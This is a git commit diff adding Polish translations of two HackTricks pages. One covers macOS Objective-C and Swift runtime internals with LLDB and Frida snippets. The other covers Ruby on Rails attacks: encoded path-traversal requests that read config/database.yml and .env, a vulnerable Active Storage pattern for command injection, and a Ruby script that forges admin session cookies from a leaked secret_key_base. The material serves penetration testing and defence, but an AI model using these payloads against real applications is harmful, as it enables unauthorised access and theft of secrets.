Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 15:03:43 +00:00
parent 4a0c371fe0
commit a2be02d090
2 changed files with 253 additions and 46 deletions

View File

@ -4,7 +4,7 @@
## CFRuntimeClass
Obiekty CF\* pochodzą z CoreFoundation, który oferuje ponad 50 klas obiektów, takich jak `CFString`, `CFNumber` czy `CFAllocator`.
Obiekty CF* pochodzą z CoreFoundation, które dostarcza ponad 50 klas obiektów, takich jak `CFString`, `CFNumber` czy `CFAllocator`.
Wszystkie te klasy są instancjami klasy `CFRuntimeClass`, która po wywołaniu zwraca indeks do `__CFRuntimeClassTable`. CFRuntimeClass jest zdefiniowana w [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### Sekcje pamięci używane
### Memory sections used
Większość danych używanych przez runtime ObjectiveC zmienia się podczas wykonywania, dlatego wykorzystuje niektóre sekcje z segmentu **\_\_DATA** w pamięci:
Większość danych używanych przez runtime ObjectiveC zmienia się podczas wykonywania, dlatego w pamięci używa kilku sekcji z rodziny segmentów MachO `__DATA`. Historycznie obejmowały one:
- **`__objc_msgrefs`** (`message_ref_t`): Referencje wiadomości
- **`__objc_ivar`** (`ivar`): Zmienne instancji
- **`__objc_data`** (`...`): Dane mutowalne
- **`__objc_classrefs`** (`Class`): Referencje klas
- **`__objc_superrefs`** (`Class`): Referencje klas nadrzędnych
- **`__objc_protorefs`** (`protocol_t *`): Referencje protokołów
- **`__objc_selrefs`** (`SEL`): Referencje selektorów
- **`__objc_const`** (`...`): Dane klas `r/o` i inne (mam nadzieję) stałe dane
- **`__objc_imageinfo`** (`version, flags`): Używane podczas ładowania obrazu: Wersja obecnie `0`; Flagi określają wsparcie dla preoptymalizowanego GC itp.
- **`__objc_protolist`** (`protocol_t *`): Lista protokołów
- **`__objc_nlcatlist`** (`category_t`): Wskaźnik do kategorii nie-leniwych zdefiniowanych w tym binarnym pliku
- **`__objc_catlist`** (`category_t`): Wskaźnik do kategorii zdefiniowanych w tym binarnym pliku
- **`__objc_nlclslist`** (`classref_t`): Wskaźnik do nie-leniwych klas Objective-C zdefiniowanych w tym binarnym pliku
- **`__objc_classlist`** (`classref_t`): Wskaźniki do wszystkich klas Objective-C zdefiniowanych w tym binarnym pliku
- `__objc_msgrefs` (`message_ref_t`): Referencje do wiadomości
- `__objc_ivar` (`ivar`): Zmienne instancji
- `__objc_data` (`...`): Dane modyfikowalne
- `__objc_classrefs` (`Class`): Referencje do klas
- `__objc_superrefs` (`Class`): Referencje do klas bazowych
- `__objc_protorefs` (`protocol_t *`): Referencje protokołów
- `__objc_selrefs` (`SEL`): Referencje selektorów
- `__objc_const` (`...`): Dane klas tylko do odczytu i inne (miejmy nadzieję) stałe dane
- `__objc_imageinfo` (`version, flags`): Używane podczas ładowania obrazu: Wersja obecnie `0`; Flagi określają wsparcie preoptymalizowanego GC itp.
- `__objc_protolist` (`protocol_t *`): Lista protokołów
- `__objc_nlcatlist` (`category_t`): Wskaźnik do Non-Lazy Categories zdefiniowanych w tym pliku binarnym
- `__objc_catlist` (`category_t`): Wskaźnik do Categories zdefiniowanych w tym pliku binarnym
- `__objc_nlclslist` (`classref_t`): Wskaźnik do Non-Lazy klas ObjectiveC zdefiniowanych w tym pliku binarnym
- `__objc_classlist` (`classref_t`): Wskaźniki do wszystkich klas ObjectiveC zdefiniowanych w tym pliku binarnym
Wykorzystuje również kilka sekcji w segmencie **`__TEXT`** do przechowywania stałych wartości, jeśli nie jest możliwe zapisanie w tej sekcji:
Wykorzystuje też kilka sekcji w segmencie `__TEXT` do przechowywania stałych:
- **`__objc_methname`** (C-String): Nazwy metod
- **`__objc_classname`** (C-String): Nazwy klas
- **`__objc_methtype`** (C-String): Typy metod
- `__objc_methname` (CString): Nazwy metod
- `__objc_classname` (CString): Nazwy klas
- `__objc_methtype` (CString): Typy metod
### Kodowanie typów
Nowoczesne macOS/iOS (zwłaszcza na Apple Silicon) umieszczają także metadane ObjectiveC/Swift w:
Objective-C używa pewnego mangle'owania do kodowania selektorów i typów zmiennych prostych i złożonych:
- `__DATA_CONST`: niemutowalne metadane ObjectiveC, które mogą być współdzielone jako tylko do odczytu między procesami (np. wiele list `__objc_*` znajduje się teraz tutaj).
- `__AUTH` / `__AUTH_CONST`: segmenty zawierające wskaźniki, które muszą być uwierzytelnione podczas ładowania lub użycia na arm64e (Pointer Authentication). Zobaczysz też `__auth_got` w `__AUTH_CONST` zamiast jedynie legacy `__la_symbol_ptr`/`__got`. Podczas instrumentacji lub hookowania pamiętaj, aby uwzględnić zarówno wpisy `__got`, jak i `__auth_got` w nowoczesnych binariach.
- Typy prymitywne używają pierwszej litery typu `i` dla `int`, `c` dla `char`, `l` dla `long`... i używają wielkiej litery w przypadku, gdy jest to unsigned (`L` dla `unsigned Long`).
- Inne typy danych, których litery są używane lub są specjalne, używają innych liter lub symboli, takich jak `q` dla `long long`, `b` dla `bitfields`, `B` dla `booleans`, `#` dla `classes`, `@` dla `id`, `*` dla `char pointers`, `^` dla ogólnych `pointers` i `?` dla `undefined`.
- Tablice, struktury i unie używają `[`, `{` i `(`
Aby poznać tło dyld preoptimization (np. selector uniquing i class/protocol precomputation) oraz dowiedzieć się, dlaczego wiele z tych sekcji jest "already fixed up" przy ładowaniu ze shared cache, sprawdź źródła Apple `objc-opt` i notatki dotyczące dyld shared cache. Ma to wpływ na to, gdzie i jak możesz patchować metadane w czasie wykonywania.
#### Przykład deklaracji metody
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC używa manglingu, aby zakodować typy selektorów i zmiennych, zarówno proste, jak i złożone:
- Typy proste używają pierwszej litery typu: `i` dla `int`, `c` dla `char`, `l` dla `long`... i używają wielkiej litery, gdy typ jest unsigned (`L` dla `unsigned long`).
- Inne typy danych używają innych liter lub symboli, np. `q` dla `long long`, `b` dla bitfieldów, `B` dla booleanów, `#` dla klas, `@` dla `id`, `*` dla `char *`, `^` dla wskaźników ogólnych i `?` dla nieokreślonego.
- Tablice, struktury i unie używają odpowiednio `[`, `{` i `(`.
#### Example Method Declaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
Selektor to `processString:withOptions:andError:`
Selektor będzie `processString:withOptions:andError:`
#### Kodowanie Typu
#### Kodowanie typów
- `id` jest kodowane jako `@`
- `char *` jest kodowane jako `*`
Pełne kodowanie typu dla metody to:
Pełne kodowanie typów dla metody to:
```less
@24@0:8@16*20^@24
```
#### Szczegółowe Rozbicie
#### Szczegółowy podział
1. **Typ zwracany (`NSString *`)**: Zakodowany jako `@` o długości 24
2. **`self` (instancja obiektu)**: Zakodowany jako `@`, w przesunięciu 0
3. **`_cmd` (selektor)**: Zakodowany jako `:`, w przesunięciu 8
4. **Pierwszy argument (`char * input`)**: Zakodowany jako `*`, w przesunięciu 16
5. **Drugi argument (`NSDictionary * options`)**: Zakodowany jako `@`, w przesunięciu 20
6. **Trzeci argument (`NSError ** error`)**: Zakodowany jako `^@`, w przesunięciu 24
1. Typ zwracany (`NSString *`): Zakodowany jako `@` o długości 24
2. `self` (instancja obiektu): Zakodowany jako `@`, na przesunięciu 0
3. `_cmd` (selektor): Zakodowany jako `:`, na przesunięciu 8
4. Pierwszy argument (`char * input`): Zakodowany jako `*`, na przesunięciu 16
5. Drugi argument (`NSDictionary * options`): Zakodowany jako `@`, na przesunięciu 20
6. Trzeci argument (`NSError ** error`): Zakodowany jako `^@`, na przesunięciu 24
**Z selektorem + kodowaniem możesz odtworzyć metodę.**
Dzięki selektorowi + kodowaniu możesz zrekonstruować metodę.
### **Klasy**
### Klasy
Klasy w Objective-C to struktura z właściwościami, wskaźnikami do metod... Możliwe jest znalezienie struktury `objc_class` w [**kodzie źródłowym**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Klasy w ObjectiveC są strukturami C z właściwościami, wskaźnikami do metod itd. Można znaleźć strukturę `objc_class` w [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Ta klasa używa kilku bitów pola isa, aby wskazać pewne informacje o klasie.
Ta klasa używa niektórych bitów pola `isa` do zakodowania informacji o klasie.
Następnie struktura ma wskaźnik do struktury `class_ro_t` przechowywanej na dysku, która zawiera atrybuty klasy, takie jak jej nazwa, metody bazowe, właściwości i zmienne instancji.\
Podczas działania programu używana jest dodatkowa struktura `class_rw_t`, która zawiera wskaźniki, które można zmieniać, takie jak metody, protokoły, właściwości...
Następnie struktura zawiera wskaźnik do struktury `class_ro_t` przechowywanej na dysku, która zawiera atrybuty klasy, takie jak jej nazwa, metody bazowe, właściwości i zmienne instancji. W czasie działania używana jest dodatkowa struktura `class_rw_t`, zawierająca wskaźniki które mogą być modyfikowane, np. metody, protokoły, właściwości.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Nowoczesne reprezentacje obiektów w pamięci (arm64e, tagged pointers, Swift)
### `isa` nie będący wskaźnikiem i uwierzytelnianie wskaźników (arm64e)
Na Apple Silicon i w nowszych runtime'ach ObjectiveC `isa` nie zawsze jest zwykłym wskaźnikiem klasy. Na arm64e jest to spakowana struktura, która może także zawierać Pointer Authentication Code (PAC). W zależności od platformy może zawierać pola takie jak `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` oraz sam wskaźnik klasy (przesunięty lub podpisany). Oznacza to, że bezmyślne dereferencjonowanie pierwszych 8 bajtów obiektu ObjectiveC nie zawsze zwróci prawidłowy wskaźnik `Class`.
Praktyczne uwagi przy debugowaniu na arm64e:
- LLDB zwykle usunie bity PAC dla Ciebie podczas drukowania obiektów ObjectiveC za pomocą `po`, ale przy pracy z surowymi wskaźnikami może być konieczne ręczne usunięcie uwierzytelnienia:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Wiele wskaźników funkcyjnych/danych w MachO znajduje się w `__AUTH`/`__AUTH_CONST` i wymaga uwierzytelnienia przed użyciem. Jeśli przechwytujesz lub przebindowujesz (np. w stylu fishhook), upewnij się, że obsłużysz także `__auth_got` oprócz starszego `__got`.
Aby zgłębić gwarancje językowe/ABI oraz intrinsics z `<ptrauth.h>` dostępne w Clang/LLVM, zobacz odnośnik na końcu tej strony.
### Obiekty tagged pointer
Niektóre klasy Foundation unikają alokacji na stercie przez zakodowanie ładunku obiektu bezpośrednio w wartości wskaźnika (tagged pointers). Wykrywanie różni się w zależności od platformy (np. bit najbardziej znaczący na arm64, najmniej znaczący na x86_64 macOS). Obiekty tagged nie mają zwykłego `isa` przechowywanego w pamięci; runtime rozpoznaje klasę na podstawie bitów znacznika. Przy badaniu dowolnych wartości `id`:
- Używaj API runtime zamiast manipulować polem `isa`: `object_getClass(obj)` / `[obj class]`.
- W LLDB wystarczy `po (id)0xADDR`, aby poprawnie wydrukować instancje tagged pointer, ponieważ runtime jest konsultowany w celu rozpoznania klasy.
### Obiekty Swift na stercie i metadane
Czyste klasy Swift również są obiektami z nagłówkiem wskazującym na metadane Swift (nie ObjectiveC `isa`). Aby introspektować działające procesy Swift bez ich modyfikowania, możesz użyć narzędzia toolchain Swift `swift-inspect`, które wykorzystuje bibliotekę Remote Mirror do odczytu metadanych runtime:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Jest to bardzo przydatne do mapowania obiektów sterty Swift i zgodności z protokołami podczas analizy wstecznej mieszanych aplikacji Swift/ObjC.
---
## Skrócona ściąga do inspekcji czasu wykonywania (LLDB / Frida)
### LLDB
- Wyświetl obiekt lub klasę z surowego wskaźnika:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Zbadaj ObjectiveC class z wskaźnika do `self` metody obiektu w breakpoint:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Zrzucaj sekcje, które zawierają metadane ObjectiveC (uwaga: wiele z nich znajduje się teraz w `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Odczytaj pamięć znanego obiektu klasy, aby wykonać pivot do `class_ro_t` / `class_rw_t` podczas odwracania list metod:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida udostępnia wysokopoziomowe mosty runtime, które są bardzo przydatne do odkrywania i instrumentowania działających obiektów bez symboli:
- Wyliczanie klas i metod, rozpoznawanie rzeczywistych nazw klas w czasie wykonywania oraz przechwytywanie ObjectiveC selectors:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: wylicza typy Swift i umożliwia interakcję z instancjami Swift (wymaga nowszej wersji Frida; bardzo przydatne na urządzeniach Apple Silicon).
---
## Odniesienia
- Clang/LLVM: Pointer Authentication i intrinsics z `<ptrauth.h>` (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Nagłówki runtime objc Apple (tagged pointers, nonpointer `isa`, etc.) np. `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Triki Ruby
{{#include ../../banners/hacktricks-training.md}}
## Wgrywanie plików do RCE
## Wgrywanie pliku do RCE
Jak wyjaśniono w [tym artykule](https://www.offsec.com/blog/cve-2024-46986/), wgrywanie pliku `.rb` do wrażliwych katalogów, takich jak `config/initializers/`, może prowadzić do zdalnego wykonania kodu (RCE) w aplikacjach Ruby on Rails.
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Wskazówki:
- Inne lokalizacje uruchamiania/eager-load, które są wykonywane przy starcie aplikacji, również są ryzykowne jeśli są zapisywalne (np. `config/initializers/` to klasyczny przykład). Jeśli znajdziesz arbitralny upload pliku, który trafia gdziekolwiek pod `config/` i później jest evaluated/required, możesz uzyskać RCE przy starcie.
- Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do obrazu kontenera, gdzie Rails załaduje je przy starcie.
## Active Storage image transformation → wykonanie polecenia (CVE-2025-24293)
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- Co wypróbować podczas testowania
- Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.
- Fuzzuj `params[:t]` i `params[:v]` w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty, które trafią do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy.
- Jeśli masz tylko read-access do wygenerowanych wariantów, spróbuj blind exfiltration przez spreparowane operacje ImageMagick.
- Naprawa/detekcja
- Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + `image_processing` + `mini_magick` i transformacjami kontrolowanymi przez użytkownika, traktuj to jako podatne. Zalecaj upgrade i wymuszanie ścisłych allowlist dla metod/parametrów oraz utwardzoną politykę ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- Szukaj aplikacji, które montują `Rack::Static` w `config.ru` lub w stackach middleware. Próbuj zakodowanych traversali przeciwko statycznym ścieżkom, na przykład:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Dopasuj prefix do skonfigurowanych `urls:`. Jeśli aplikacja odpowiada zawartością pliku, prawdopodobnie masz LFI do wszystkiego pod rozwiązanym `:root`.
- Mitigacja: zaktualizuj Rack; upewnij się, że `:root` wskazuje tylko na katalog publicznych plików i jest ustawiony jawnie.
## Fałszowanie/odszyfrowywanie Rails cookies gdy `secret_key_base` jest leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimalny Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Uwagi:
- Starsze aplikacje mogą używać AES-256-CBC oraz salts `encrypted cookie` / `signed encrypted cookie`, lub JSON/Marshal serializers. Dostosuj salts, cipher i serializer odpowiednio.
- W przypadku kompromitacji/oceny, zmień `secret_key_base`, aby unieważnić wszystkie istniejące ciasteczka.
## Zobacz też (Ruby/Rails-specyficzne podatności)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Referencje
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}